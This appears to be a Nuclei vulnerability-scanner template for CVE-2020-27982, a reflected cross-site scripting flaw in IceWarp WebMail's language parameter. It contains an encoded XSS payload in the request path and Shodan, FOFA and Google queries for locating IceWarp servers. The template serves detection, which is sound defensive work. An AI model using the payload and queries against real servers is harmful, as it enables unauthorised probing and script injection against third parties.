id: CVE-2020-27982

info:
  name: IceWarp WebMail 11.4.5.0 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: IceWarp WebMail 11.4.5.0 is vulnerable to cross-site scripting via the language parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of IceWarp WebMail.
  reference:
    - https://packetstormsecurity.com/files/159763/Icewarp-WebMail-11.4.5.0-Cross-Site-Scripting.html
    - https://cxsecurity.com/issue/WLB-2020100161
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27982
    - http://packetstormsecurity.com/files/159763/Icewarp-WebMail-11.4.5.0-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-27982
    cwe-id: CWE-79
    epss-score: 0.05342
    epss-percentile: 0.91814
    cpe: cpe:2.3:a:icewarp:mail_server:11.4.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: icewarp
    product: mail_server
    shodan-query:
      - title:"icewarp"
      - http.title:"icewarp server administration"
      - http.title:"icewarp"
      - cpe:"cpe:2.3:a:icewarp:mail_server"
    fofa-query:
      - title="icewarp server administration"
      - title="icewarp"
    google-query:
      - intitle:"icewarp server administration"
      - intitle:"icewarp"
      - powered by icewarp 10.4.4
  tags: cve,cve2020,xss,icewarp,packetstorm,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(1)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022033bad0fcca005a3e2b9c868781af228c665e6c4178a6c94c86dba35aeb35997f0221009d455168a24c0819aa3e75f9aeef3bc852a36f24942af2d0b9c045d5fb0b9588:922c64590222798bb761d5b6d8e72950